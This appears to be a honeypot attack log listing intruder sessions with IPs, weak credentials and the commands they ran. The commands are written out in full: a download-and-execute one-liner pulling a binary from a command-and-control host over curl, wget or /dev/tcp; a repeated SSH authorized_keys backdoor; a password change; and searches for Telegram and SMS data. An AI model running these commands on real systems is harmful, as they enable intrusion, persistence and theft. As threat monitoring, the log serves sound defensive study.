🎭 murky_junk_root_178 (47.242.3.178) — Hong Kong, Hong Kong · 2 sessions · 10 cmds

2026-06-26 03:24 EDT · as root/123456

Credential reuse (root/123456) → null-byte padding checks (echo 1 > /dev/null) → truncated binary download via curl (3.7MB partial payloads) → silent execution via nohup $SHELL -c → repeated attempts to overwrite /tmp with incomplete files → C2 beaconing to 157.20.159.

$ echo 1 > /dev/null && cat /bin/echo ×2

$ nohup $SHELL -c "curl http://157.20.159.54:8905/linux -o /tmp/9fvfzucX1F; if [ ! -f /tmp/9fvfzucX1F ]; then wget http://157.20.159.54:8905/linux -O /tmp/9fvfzucX1F; fi; if [ ! -f /tmp/9fvfzucX1F ]; then exec 6<>/dev/tcp/157.20.159.54/8905 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/9fvfzucX1F ; chmod +x /tmp/9fvfzucX1F && /tmp/9fvfzucX1F Ol0XfV3l9s9mMX3G6v5ech5ER0JdEn9E+vbOZjF7x+r5W3kcS0FHRAZ5WP/qzXoxZs32/ER5E0lNT0UTfEr69cdmMX/H6vpefAhJRk1LEHhb6/XPfi59y+r5WHwITEJGRx5xU//ky3Eueszx5Vt/FlNOTUsTfVvr8MhmMXnJ6vpYfQhOT01FFXpY6/XOeS56zf3lW3kSU0ZHSBxwW/nx3304Zsfz5V15CE9DT0cRe13y5Mt/LnnP8+VcewhPQU1FF3pd6/XPfi59y+r5Wn4ISU5NShR9UuvxxmY2e9H1/l5mF0hDTUsScVjr9c16Ln3O6vpTfQhPQ0JHEHpT+uTHZjF8x+r6WWYUTkVNSx95WOv1zXwues315VxwCExDR0cRcFP45Mt/LnrL9uVZZhdKT01FH35a6/DIZjF6zur5UmYSS01BThd/Svr2y2Yyeszq/FxmF0xETUsffVnr9c15LnzO6v9aZhdMRU1FFHtb6/XOeS56zf3lW3kRU0VHShxxUvz833kxedH2+FpmF01AWU8VelD88sh7IHzG6vlZfQhMQU9TF3BY8fLGcTZozvX7RHwWU0ZBSgh7XPH9x3s2aMf25Vt9EFNEQ1MXflD9/M18IHnP9eVeeghJQVlPFXJT/vPKaDF5y+r6WXoIT0NEUx9/UPL8zXEgcM7q/VJmFE9CWUwWeFDz8cx+IHnP8uVbeghMQUZTF35T8fPJcDJozvT9RH0SU0VHSwh8U/HzzX04aM718kRxF1NFRk4IcVvx889/OC8tpZlGxgZrzFOElMINLNGDUFgbCA==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/9fvfzucX1F && /tmp/9fvfzucX1F Ol0XfV3l9s9mMX3G6v5ech5ER0JdEn9E+vbOZjF7x+r5W3kcS0FHRAZ5WP/qzXoxZs32/ER5E0lNT0UTfEr69cdmMX/H6vpefAhJRk1LEHhb6/XPfi59y+r5WHwITEJGRx5xU//ky3Eueszx5Vt/FlNOTUsTfVvr8MhmMXnJ6vpYfQhOT01FFXpY6/XOeS56zf3lW3kSU0ZHSBxwW/nx3304Zsfz5V15CE9DT0cRe13y5Mt/LnnP8+VcewhPQU1FF3pd6/XPfi59y+r5Wn4ISU5NShR9UuvxxmY2e9H1/l5mF0hDTUsScVjr9c16Ln3O6vpTfQhPQ0JHEHpT+uTHZjF8x+r6WWYUTkVNSx95WOv1zXwues315VxwCExDR0cRcFP45Mt/LnrL9uVZZhdKT01FH35a6/DIZjF6zur5UmYSS01BThd/Svr2y2Yyeszq/FxmF0xETUsffVnr9c15LnzO6v9aZhdMRU1FFHtb6/XOeS56zf3lW3kRU0VHShxxUvz833kxedH2+FpmF01AWU8VelD88sh7IHzG6vlZfQhMQU9TF3BY8fLGcTZozvX7RHwWU0ZBSgh7XPH9x3s2aMf25Vt9EFNEQ1MXflD9/M18IHnP9eVeeghJQVlPFXJT/vPKaDF5y+r6WXoIT0NEUx9/UPL8zXEgcM7q/VJmFE9CWUwWeFDz8cx+IHnP8uVbeghMQUZTF35T8fPJcDJozvT9RH0SU0VHSwh8U/HzzX04aM718kRxF1NFRk4IcVvx889/OC8tpZlGxgZrzFOElMINLNGDUFgbCA==" &

↳ payload download from C2

$ head -c 3716336 > /tmp/IYWoRa6FLo

↳ execute from /tmp

$ echo 1 > /dev/null && cat /bin/echoQtd#0000 ×2

$ >A@/`'8 ×2

$ nohup $SHELL -c "curl http://157.20.159.54:8905/linux -o /tmp/jsXAE2ufOW; if [ ! -f /tmp/jsXAE2ufOW ]; then wget http://157.20.159.54:8905/linux -O /tmp/jsXAE2ufOW; fi; if [ ! -f /tmp/jsXAE2ufOW ]; then exec 6<>/dev/tcp/157.20.159.54/8905 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/jsXAE2ufOW ; chmod +x /tmp/jsXAE2ufOW && /tmp/jsXAE2ufOW Ol0XfV3l9s9mMX3G6v5ech5ER0JdEn9E+vbOZjF7x+r5W3kcS0FHRAZ5WP/qzXoxZs32/ER5E0lNT0UTfEr69cdmMX/H6vpefAhJRk1LEHhb6/XPfi59y+r5WHwITEJGRx5xU//ky3Eueszx5Vt/FlNOTUsTfVvr8MhmMXnJ6vpYfQhOT01FFXpY6/XOeS56zf3lW3kSU0ZHSBxwW/nx3304Zsfz5V15CE9DT0cRe13y5Mt/LnnP8+VcewhPQU1FF3pd6/XPfi59y+r5Wn4ISU5NShR9UuvxxmY2e9H1/l5mF0hDTUsScVjr9c16Ln3O6vpTfQhPQ0JHEHpT+uTHZjF8x+r6WWYUTkVNSx95WOv1zXwues315VxwCExDR0cRcFP45Mt/LnrL9uVZZhdKT01FH35a6/DIZjF6zur5UmYSS01BThd/Svr2y2Yyeszq/FxmF0xETUsffVnr9c15LnzO6v9aZhdMRU1FFHtb6/XOeS56zf3lW3kRU0VHShxxUvz833kxedH2+FpmF01AWU8VelD88sh7IHzG6vlZfQhMQU9TF3BY8fLGcTZozvX7RHwWU0ZBSgh7XPH9x3s2aMf25Vt9EFNEQ1MXflD9/M18IHnP9eVeeghJQVlPFXJT/vPKaDF5y+r6WXoIT0NEUx9/UPL8zXEgcM7q/VJmFE9CWUwWeFDz8cx+IHnP8uVbeghMQUZTF35T8fPJcDJozvT9RH0SU0VHSwh8U/HzzX04aM718kRxF1NFRk4IcVvx889/OC8tpZlGxgZrzFOElMINLNGDUFgbCA==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/jsXAE2ufOW && /tmp/jsXAE2ufOW Ol0XfV3l9s9mMX3G6v5ech5ER0JdEn9E+vbOZjF7x+r5W3kcS0FHRAZ5WP/qzXoxZs32/ER5E0lNT0UTfEr69cdmMX/H6vpefAhJRk1LEHhb6/XPfi59y+r5WHwITEJGRx5xU//ky3Eueszx5Vt/FlNOTUsTfVvr8MhmMXnJ6vpYfQhOT01FFXpY6/XOeS56zf3lW3kSU0ZHSBxwW/nx3304Zsfz5V15CE9DT0cRe13y5Mt/LnnP8+VcewhPQU1FF3pd6/XPfi59y+r5Wn4ISU5NShR9UuvxxmY2e9H1/l5mF0hDTUsScVjr9c16Ln3O6vpTfQhPQ0JHEHpT+uTHZjF8x+r6WWYUTkVNSx95WOv1zXwues315VxwCExDR0cRcFP45Mt/LnrL9uVZZhdKT01FH35a6/DIZjF6zur5UmYSS01BThd/Svr2y2Yyeszq/FxmF0xETUsffVnr9c15LnzO6v9aZhdMRU1FFHtb6/XOeS56zf3lW3kRU0VHShxxUvz833kxedH2+FpmF01AWU8VelD88sh7IHzG6vlZfQhMQU9TF3BY8fLGcTZozvX7RHwWU0ZBSgh7XPH9x3s2aMf25Vt9EFNEQ1MXflD9/M18IHnP9eVeeghJQVlPFXJT/vPKaDF5y+r6WXoIT0NEUx9/UPL8zXEgcM7q/VJmFE9CWUwWeFDz8cx+IHnP8uVbeghMQUZTF35T8fPJcDJozvT9RH0SU0VHSwh8U/HzzX04aM718kRxF1NFRk4IcVvx889/OC8tpZlGxgZrzFOElMINLNGDUFgbCA==" &

↳ payload download from C2

$ head -c 3716336 > /tmp/zGBcgj5cKf

↳ execute from /tmp

🎭 brisk_fog_sol (167.99.82.253) — Slough, United Kingdom · 1 session · 1 cmd

2026-06-26 01:53 EDT · as sol/sol

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m

↳ obfuscated system check

🎭 rogue_bike_crypto (165.232.84.86) — Amsterdam, The Netherlands · 1 session · 1 cmd

2026-06-26 01:41 EDT · as eth/eth

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m

↳ obfuscated system check

🎭 vapor_bibimbap_root (61.84.211.107) — Anseong, South Korea · 1 session · 9 cmds

2026-06-26 00:29 EDT · as root/root

network mapping → OS/kernel identification → CPU profiling

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 stoic_dragon_root (120.48.124.81) — Beijing, China · 1 session · 2 cmds

2026-06-25 22:58 EDT · as oracle/123.com

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 baroque_roo_sol (40.82.214.8) — The Rocks, Australia · 1 session · 2 cmds

2026-06-25 22:53 EDT · as oracle/123.com

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 hollow_betel_root (211.75.252.252) — Kaohsiung, Taiwan · 1 session · 17 cmds

2026-06-25 21:06 EDT · as oracle/Oracle@2025

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "Oracle@2025\nf3z0FCKoWVA9\nf3z0FCKoWVA9"|passwd|bash

$ Enter new UNIX password:

$ echo "Oracle@2025\nf3z0FCKoWVA9\nf3z0FCKoWVA9\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

🎭 stoic_stroopwafel_root_6 (178.208.88.6) — Amsterdam, The Netherlands · 32 sessions · 32 cmds

2026-06-25 17:10 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×32

🎭 silent_lantern_root (118.122.147.49) — Chengdu, China · 1 session · 2 cmds

2026-06-25 16:58 EDT · as oracle/oracle2024

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 wired_mekong_root (45.117.177.47) — Quận Mười, Vietnam · 1 session · 2 cmds

2026-06-25 16:54 EDT · as oracle/oracle2024

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 baroque_dragon_root (58.222.244.226) — Nanjing, China · 1 session · 2 cmds

2026-06-25 16:49 EDT · as oracle/oracle2024

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 hollow_dragon_root (111.26.6.111) — Jilin, China · 4 sessions · 4 cmds

2026-05-09 04:13 EDT · as root/123456, root/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m ×4

🎭 wired_kimchi_root (175.214.123.177) — Seoul, South Korea · 1 session · 9 cmds

2026-06-25 13:36 EDT · as root/root

network mapping → OS/kernel identification → CPU profiling

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 murky_lantern_root (49.84.226.110) — Nanjing, China · 1 session · 1 cmd

2026-06-25 12:31 EDT · as root/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 grumpy_cactus_root (187.251.123.104) — Valle de Chalco, Mexico · 1 session · 2 cmds

2026-06-25 11:41 EDT · as oracle/oracle01

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 stoic_strudel_root (51.75.64.35) — Limburg an der Lahn, Germany · 1 session · 2 cmds

2026-06-25 11:13 EDT · as oracle/oracle01

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 drowsy_spice_root (92.4.76.12) — Mumbai, India · 2 sessions · 18 cmds

2026-06-23 08:39 EDT · as root/root

/root/root login → /ip cloud print → ifconfig → uname -a → cat /proc/cpuinfo → ps | grep '[Mm]iner' → ps -ef | grep '[Mm]iner' → locate D877F783D5D3EF8Cs → ls -la ~/.local/share/TelegramDesktop/tdata → echo Hi | cat -n

$ /ip cloud print ×2

$ ifconfig ×2

↳ network mapping

$ uname -a ×2

↳ OS/kernel identification

$ cat /proc/cpuinfo ×2

↳ CPU profiling

$ ps | grep '[Mm]iner' ×2

$ ps -ef | grep '[Mm]iner' ×2

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/* ×2

$ locate D877F783D5D3EF8Cs ×2

$ echo Hi | cat -n ×2

🎭 glitchy_dutch_root (45.153.34.112) — Eygelshoven, The Netherlands · 97 sessions · 97 cmds

2026-05-14 02:29 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 35x across 35 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×97

🎭 cryptic_panda_root_60 (120.48.155.60) — Beijing, China · 1 session · 1 cmd

2026-06-24 18:23 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 obsidian_bike_root (176.65.139.251) — Eygelshoven, The Netherlands · 31 sessions · 31 cmds

2026-06-24 14:15 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×31

🎭 aloof_orchid_pi (43.160.249.143) — Singapore, Singapore · 2 sessions · 2 cmds

2026-05-14 17:48 EDT · as pi/raspberry

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a ×2

↳ OS/kernel identification

🎭 weary_dragon_root (117.34.85.168) — Liuxiang, China · 1 session · 2 cmds

2026-06-24 05:50 EDT · as oracle/oracle1234!

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 scrappy_bibimbap_root (218.145.181.48) — Gangnam-gu, South Korea · 2 sessions · 18 cmds

2026-05-11 23:50 EDT · as root/root

network mapping → OS/kernel identification → CPU profiling

$ /ip cloud print ×2

$ ifconfig ×2

↳ network mapping

$ uname -a ×2

↳ OS/kernel identification

$ cat /proc/cpuinfo ×2

↳ CPU profiling

$ ps | grep '[Mm]iner' ×2

$ ps -ef | grep '[Mm]iner' ×2

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/* ×2

$ locate D877F783D5D3EF8Cs ×2

$ echo Hi | cat -n ×2

🎭 ashen_bike_root (45.156.87.204) — Eygelshoven, The Netherlands · 62 sessions · 62 cmds

2026-06-16 11:46 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 70x across 70 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×62

🎭 glitchy_panda_root (14.103.83.66) — Beijing, China · 1 session · 2 cmds

2026-06-24 01:04 EDT · as oracle/1111

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 cryptic_gaucho_root (157.92.145.135) — Recoleta, Argentina · 103 sessions · 103 cmds

2026-05-15 01:54 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 68x across 68 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×103

🎭 drowsy_specter_root_40 (5.187.97.40) — Pointe-à-Pitre, Guadeloupe · 1 session · 9 cmds

2026-06-23 21:45 EDT · as root/root

network mapping → OS/kernel identification → CPU profiling

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 zealous_dutch_root (45.153.34.186) — Eygelshoven, The Netherlands · 31 sessions · 31 cmds

2026-06-23 17:41 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×31

🎭 listless_silk_root (114.55.14.48) — Hangzhou, China · 1 session · 1 cmd

2026-06-23 17:33 EDT · as postgres/postgres

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 wily_dragon_root (27.0.135.6) — Quzhou, China · 1 session · 1 cmd

2026-06-23 11:53 EDT · as root/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 spectral_star_sol (92.118.39.62) — Dallas, United States · 308 sessions · 308 cmds

2026-05-20 11:31 EDT · as sol/123, sol/123456, sol/sol

Ran uname 1727x across 1727 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m ×308

↳ obfuscated system check

🎭 silent_bosphorus_root (185.255.95.139) — Bursa, Türkiye · 1 session · 1 cmd

2026-06-23 08:59 EDT · as root/1234

echo

$ echo TEST

🎭 weary_gouda_sol (2.57.122.177) — Amsterdam, The Netherlands · 2415 sessions · 2415 cmds

2026-05-06 20:32 EDT · as firedancer/firedancer, raydium/raydium, sol/123

Ran uname 3954x across 3954 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m ×2415

↳ obfuscated system check

🎭 scrappy_blitz_root (178.104.222.175) — Falkenstein, Germany · 1 session · 1 cmd

2026-06-23 05:24 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 crimson_void_root (91.92.40.7) — Varna, Bulgaria · 43 sessions · 172 cmds

2026-06-14 13:34 EDT · as admin/123456, admin/admin, admin/admin123

export → uname → cat

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo 